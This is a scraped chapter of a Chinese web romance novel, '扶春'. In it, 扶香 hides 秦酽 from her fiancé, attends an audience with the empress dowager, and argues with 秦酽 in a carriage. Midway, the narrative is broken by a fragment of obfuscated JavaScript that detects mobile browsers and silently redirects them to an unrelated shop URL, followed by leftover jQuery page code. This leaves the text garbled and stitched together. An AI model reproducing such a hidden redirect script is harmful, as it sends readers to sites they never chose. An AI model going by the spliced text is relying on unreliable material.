24. 灯下人
作品:《扶春》 叩门声轻微又小心,依稀可见木门上楚泽时晃动的身影。
一门之隔,灯盏细细摇曳,勾缠出少女身上幽暗又细腻的馨香,染到了他的衣袍里。两人衣裙交缠,唯有半寸之距。
少年眼眸冰冷,转首睨她一眼,就要张唇出声。
扶香骇得蹦到他身上,抬手死死捂住了他的嘴,声线难掩紧张:“我就是今日赶路匆忙,没什么胃口。夜色深重,你快回去吧。”
她抬起脚尖,衣袖缓缓垂落,露出一截嫩藕般的手臂,拽住了肩膀。秦酽被迫停住,垂眸看向那乱动的手指,他平静地默了瞬,下一刻却难以抑制地伸出齿关,轻咬向她的掌心。
齿关轻细,更像是恋人间无意义的厮磨,缓慢地碰撞着,先浅尝辄止,试探着靠近,而后欲壑难填,慢慢吞没。
房门外的楚泽时轻轻颔首,关切道:“那便好。毕竟这里不是荆州,难免会有些不适应,你先歇着,若是夜里饿了,或是哪些不适就唤人,来寻我也行。”说着,他放柔了语气,低声道:“扶香,你我之间,不必客气。”
房内少年闻言,抬目盯了眼扶香,她恍然未觉,一双杏眸只盯着房门,满脸都是害怕被发现的惊慌之色。
他定定看她半晌,牙关忽地用力,带着报复性地狠狠咬了一口,恨不得将她的肉吞进去。
扶香痛得“嗷”了声,掌心却渗出了血,被一点点舔.舐干净,他喉结微滚,纤眸垂落,为着方便,五指圈住了少女的腕,抱在了怀里,似是荒漠里快要干涸的人忽逢雨露般仰首。
门外楚泽时皱眉道:“扶香,你怎么了?”
扶香含糊道:“不小心碰到了桌角。”
楚泽时不放心:“那你把门打开,让我看看。”
“我没事,就是磕到了桌角。我都已经躺下了,你不用担心,先回去吧。”她一边说着,一边将手挣开。
那点血色留在了秦酽唇间,染出一抹殷红,更衬得他周身如鬼魅。他没说话,只是站在原地,看了一眼房门。
月色清冷如霜,洒了满地银辉,几盏灯幽幽映出光彩,扑簌簌风一吹,卷动落叶,也引得烛火迅速一晃。
楚泽时担忧不减,却又不得不应声:“那你先歇息,我回去了。”说完,他打算转身离开,目光忽地停在了房门处,那明显像是两个人的影子,紧密无间,快要抱在了一起。
那层温和笑意如晒干的硬土般一点点裂开,他脸色冷下去了,声音却格外平静:“扶香,你屋中还有旁人?”
不待她回答,秦酽却慢慢俯身,嘴唇贴近了她的耳畔,轻轻地道:“你在紧张?”
“为什么?你不想让他发现?”他的声音带着微不可察的妒意:“你就这般在意他吗?”
热意顺着吹进了衣领里,她缩了缩脖颈,一时慌得心跳如擂鼓,僵了半晌,伸手半抱住他的腰身,拖到了背光处。
少年腰身一麻,倒也说不出话了,只得抿着唇,恨恨地看她。
扶香只当没感觉到他的注视,厚着脸皮道:“你看错了,我屋中怎可能有旁人,兴许是榻上的纱被吹起来了吧。”说着,她装模作样地打了个哈欠:“我困了,你快回去吧。”
门外的人轻轻地“嗯”了声。
果然,那蹊跷的身影很快消失不见,连点踪迹都没留下。
楚泽时静静看了会,不知信没信,却是笑了声,如常叮嘱道:“那你夜里注意些,莫要着了凉,在屋里躺上几日几夜的,也让我心里担忧。你好好歇息吧,我先走了。”说完,他没再逗留,转身离了华锦院。
脚步声由重转轻,渐渐远去。
扶香终于长舒一口气,拍拍胸口暗自庆幸,又看向了秦酽,脸色瞬间木下来:“你也该走了。”
少年看着她这模样,恼得磨了磨牙,恨不得再咬她一口。
扶香对上他乌沉沉的黑眸,兀自盯着她,不知又在打什么算盘,她眼珠一转,扒开门缝往外看了一圈,然后将人拉出去,威胁道:“你要是赶在外面乱说,传出什么流言,我……我就去找秦将军告状!”
纵是他怎么无法无天无赖,这子怕父,亘古不变的道理始终存在。她装腔作势,威胁他一次应还是管用的。
她扬起眉尾,双颊红扑扑的,得意道:“听说秦将军曾征战多年,脾性刚强,眼里容不得一点沙子,要是知道你在外面胡作非为,定是会好生教训你的。”
姑娘家的声线清脆,滚如豆珠,尾音又微微上扬。秦酽听着这不痛不痒的威胁,没什么神情变化,倒是在想若父亲真的知道了,会是如何反应?
一晃神,面前的木门“啪嗒——”一声关上了。
里面还传来扶香小心又凶恶的声音:“走的时候小心点,不许被人发现了。”
他站在院中,周身笼了一层清冷月光,乌眸里先是裹了一层冰冷和愠怒,而后想到了什么,轻轻地松了口气,像是松开系了许久的心事。
如她所言,悄无声息地走了。
*
抵达长安的第三日,卫太后召见的旨意又传下来了,可这次却只召了扶香一人。
刚至太和殿外,就听到一阵笑闹声,似在向着卫太后撒娇,应是怀姝公主。扶香神色如常,缓缓走了进去,可余光忽地瞥见一点绯衣影子,坐在椅上,乌发高束,几缕碎发飞舞在侧颊,不窥全貌也透出了几分意气风发。
那一夜后,风平浪静了两日,没听到外面传出什么闲言,她这才松了口气,还以为这厮宽宏大量,放过了自己。
她背一凉,几乎同手同脚地走到近前。
“你就是要和楚泽时成婚的扶姑娘?”卫姝半依在卫太后身上,圆眸朱唇,容色娇丽,发髻上点缀的宝石轻晃,溢出彩光,目光中带着几分好奇。
扶香低低地“嗯”了声。
秦酽的笑却是冷了,抬起黑眸,直白又坦露地看她,像是无声的威胁。
她连头都不敢偏上一丝,只能假装没看到:“民女和世子的婚约定下了多年,若是此番能得太后赐婚,也算是给这桩姻亲添了彩。”这一番话说得脸不红心不跳,可没说完,一只茶盏从桌角摔下,骨碌碌滚到了她脚边。
她无意识偏头,对上少年那双眸,他扯了下唇角,带着笑道:“手滑。”可笑意浅薄,似是她再多说一句,就要站起来拆穿她。
扶香弯腰将茶盏捡起来,攥在手心,默默将没说完的话咽了回去。
上首两人却早已习惯秦酽易变的脾性,没在意。卫太后满含深意地看了眼扶香,语气显得宽容很多:“你生在荆州?这扶姓,倒是少见,不知父母是何人?”
扶香道:“民女的父母不过寻常百姓,因缘际会才与燕王有过交集,后来两人身子不好,将民女托付给了燕王,就重病走了,说来民女也忘了他们的样子。”
单调又普通的家世,在长安城里都能搜罗出无数个大同小异的版本。秦酽皱了下眉,深深地看了她一眼,敏锐地觉出了一点异样。
卫姝听得兴致缺缺,又另有心事,趴在卫太后耳边说了什么,卫太后没理她,忽地道:“前几日你献上的茶团倒是不错,想来煮茶的手艺也不俗,哀家今日唤你过来,就是想尝尝。”
扶香轻声应下,就由小宫女引着坐在了木桌后,鲜色披帛散开,捏起木箸将茶饼置于文火上。
秦酽眼尾微挑,瞳仁清亮,毫不遮掩地打量。
没一会,卫姝向卫太后说的事始终没得到回应,不由提高了一点声音:“母后,你好好听我说嘛!这几日楚归樾连召了几个重臣,闭门密谈了好些时辰,不知在说些什么。那个废物不会是生了什么不该生的心思吧?”
楚归樾是当今陛下的名讳。
这语气毫无忌惮,莫说所谓的尊卑了,甚至带着几分憎恶的意味。
就连卫太后都蹙了下眉,用套着护甲的手拍她,责备道:“你怎地还像个孩子似的不懂事,陛下是你的兄长,就算他待你亲近,也不能这般说他。陛下想见什么臣子都是应当的,何需你来置喙?”
卫姝却半点没放在心上,眼角一抬,带着点傲气,嗤道:“就他?能算哪门子的兄长?”说着,她似也听厌了,烦躁道:“不与母后说了,我先走了。”
她拎着裙摆,径直跑了出去。
卫太后面露无奈,护甲搁在木桌面上,发出轻微的嗒嗒声。她思量了会,淡淡道:“善泓,你去与陛下说一声,若陛下想临朝,自是群臣之幸,百官之福,往后朝堂也能更安稳些。哀家这做母后的从旁协助了这么多年,年纪大了,老眼昏花的,倒也帮不上什么忙了,但到底是能撑着最后一口气,替他坐稳这皇位的。”
善泓应声退下,其余宫人垂目不敢言。
扶香身形不动,余光瞥见了一点卫姝快速掠过的衣尾。
而唯有秦酽眉眼不动,姿态散漫地坐在椅上,似根本没听进到耳中。
茶香幽幽,他有些出神,想起了第一次见她煎茶的场景,其实要比她以为的更早些。那时他正值重伤,腿骨似都被碾碎了般发疼发胀,只能蜷在榻上,静候结果,可生死间忽地嗅到一道茶香。
雨大得厉害,敲得房顶砰砰作响。顺着半掩的房门,他掀起眼帘,隐约能见到少女瘦削的脊背,绑了乌发的发带扑簌簌飘起来,在雨幕中鲜亮得扎眼。
他喉间作痒,忍不住咳出了声。
檐下的人听到动静,抬眸看了过来,他视线模糊,看不真切,只知有人走到了榻旁,掌心残存着茶盏冒出的热气,柔软地贴在了他的额间。
……
“小侯爷。”宫女将茶盏递到秦酽面前。
他恍惚着,这才回过神,接过抿了一口。
因不喜茶,如往常一样,喝不出什么特别的滋味,只觉是添了苦味的热汤。喝完了,他没放回去,只是拿在手心,感受着那阵热意,看着扶香从木桌后站起身。
太和殿里的瓷盏更为清透,像是镀过一层冰的冷玉,更衬得茶汤青绿澄澈。
卫太后用了几口,神色难辨,对着扶香笑道:“你做出的茶味道倒是独特。”
扶香道:“长安城中更喜阳羡茶,味道清鲜,民女所制蜡面茶,因在制茶团时添了香料,茶香味重了几分,才让娘娘觉得有些独特。”
卫太后又看向秦酽:“小侯爷觉得如何?”
他眉眼平静,指腹摩挲了下瓷盏边沿,半晌才道:“香味过重,有些腻了。”
卫太后失笑摇头:“你是个品不出滋味的,扶姑娘的茶让你喝,也是浪费了。今日天色也不早了,哀家也乏了,便都回去吧。”
她起身,整个人站在了光里,衣摆迤逦,细碎的金线拼出了凤凰的形状,突然想起般补充道:“小侯爷想寻的人,哀家已交代下去了,应是要不了多久就会有消息。”
扶香眼睫颤了颤,然后平静地行礼,退了出去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193243|195473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>*
冗长宫道中,两人一前一后走着,距离不远不近,却能听到彼此的脚步声。
直至出了宫门,竹石站在马车前,见到扶香就迎了上去。
秦酽几步追了上来,一身绯衣烈得像火,他看了扶香一眼,淡淡道:“今日出府时倒是着急了些,忘了让人套马车。”
身后,刚让人引了马车过来的刘全胜:“……”
但他能做这远近闻名的狗腿也是有些眼力见的,果断道:“是啊,我们小侯爷惯来不是个能吃苦的,这没了马车,恐走上半个时辰都到不了。可怜见的,我们小侯爷自小就没了娘,将军一个人把他拉扯大,今日就算把腿走断了,怕是也没人心疼……”说着,捏着袖口就真快哭出了声。
“……”
她深吸一口气:“上来吧。”
但绝不是被这一唱一和蒙骗了,只是在这哭下去,不知会传出什么流言。
秦酽脸皮厚,她不一样。
少年坦然地上了马车,坐在侧旁,自然开口:“今日的茶倒与以往的味道不同。”
他随手摸上了腰间的金佩把玩。
猫爪小巧,不过两只指腹那般大小,许是被摩挲了很多遍,金面光滑细腻。
扶香拧眉,刚想质问她送给大侠的物件为什么被他抢去了,又及时勒了马,只道:“没什么不同。”
她偏过头,敷衍道:“你本就喝不出差别的,就算给你一碗清水,也是一个味道。”
少年却停了把玩的动作,眼尾上挑,带着几分淡漠的冷意,却又因面上有笑,被消解了大半,只剩下一股子散漫。他道:“那楚泽时呢?他又有什么不同,值得你编出这么多谎话,还与他一道来了长安?”
扶香哑然,抬眸又猝不及防撞进他的视线,一时怔住。
他的笑意有些凉,黑眸沉沉,又似蒙了一场浓重的雾:“事到如今,我想你该给我一个解释。”
车厢唯余他们两人,风声一簇一簇地吹起薄帘,飘进街巷行人的对话,闹哄哄的,扶香的胸口也被吵得沉闷,但她这次没躲,直直应上他的目光,平静道:“方才在殿上,你不是听到了吗?”
“我和楚泽时相伴长大,又早早定了婚约,婚期将近,本就应当与他成亲……”
声线平淡,像是在吃饭喝水这般寻常的小事。秦酽捏着金佩的指尖发紧,打断道:“这就是你的解释?”
扶香垂着纤长眼睫,沉默了会,就轻微地点了点头。
少年看她半晌,乌眸中的雾色又浓重了几分,只觉再待下去会被生生气死,掀帘就要下去,可余光一扫,车角上那根被他斩断的铜铃铛红穗竟又重新系上,挂了回去。
他咬牙,冷笑了声,然后生生地扯下红穗,紧攥在手心,直接跳了下去。
一串铃铛叮叮响动,红线细韧,在手心处划了长长一道血痕,黏腻的血珠顺着指节滚落在地,在绯衣上洇开一片朱红。
刘全胜吓得跑上前:“小侯爷,怎么了?”
秦酽胸口胀闷,一句话也说不出,越过他往前走。
车厢内,扶香往后靠着,背后生了一截热汗,她怔愣地发了半晌呆,才道:“快些回去吧。”
马车速度陡然增快,很快隐没在街道中。
这时,刘全胜终于追上了小侯爷,苦口婆心劝道:“小侯爷,您怎么了?哎呀呀,手怎么伤了,这燕王府的人真是狡诈,连根挂铃铛的红线都选这般利的!您快别动,先用帕子扎上,回去让大夫好好瞧瞧。”
少年这才停住身形,血珠滴了一串石板路。他侧首看了一眼,却见那马车早走远了,只能看到一点指甲盖大的黑影。
铃铛晃个不停,吵得心烦闷,他攥得愈发紧,冰冷地咯在伤口处,可声音却愈发响。
*
夏日将来之际,日头总是变化无常,方才看还是艳阳万里的大晴天,一眨巴眼的功夫,乌云就卷了出来,小雨也淅淅沥沥落下,氤氲出满城雾气。
燕王府前,楚泽时撑着伞,等人归来。
一袭轻淡的烟灰色似也融进了细雨中。
见着马车,他就往前迎了几步,静等着停下车,人出来,将伞伸到扶香头顶:“走时我见天色还是晴的,不知怎地一转眼就落了雨。
“我想你出来时,太后宫中的人定会有伞,却又忧心你走时匆匆,万一刚出了宫门落雨被淋了怎么办?想去送伞给你,却又怕你犯傻,淋了一身雨早早回来了,染了寒气怎么办?想来想去,好似只得站在这等你。”说着,他轻轻叹了声,似在烦扰自己话多琐碎,遇到她的事总这般优柔寡断。
扶香没淋到一点,唯有衣摆染了点湿意。
她冲他笑笑道:“这雨才下了不到一刻钟,不会淋着我的。”
楚泽时看着她笑,眉眼随之舒展开,温和道:“一切顺利吗?”
扶香点了点头。
“那便好。”他将伞交给一旁的婢女,吩咐道:“近来多雨回寒,姑娘自幼畏冷,你们夜里多盯着些,若是窗户留了缝,钻了冷风,让姑娘染了风寒,便自行去领罚吧。”
他的语气轻淡,似掠过眉眼处的一点凉雨,可眼眸不知怎地冷了下去,婢女对上那道视线,吓得一惊,连忙喏喏应下。
楚泽时又重新看向扶香,伸手将她发间缠在一块的珠链理顺,语气不自觉放柔:“对了,方才秦将军派人递了帖子过来,要邀你我过府一叙。”

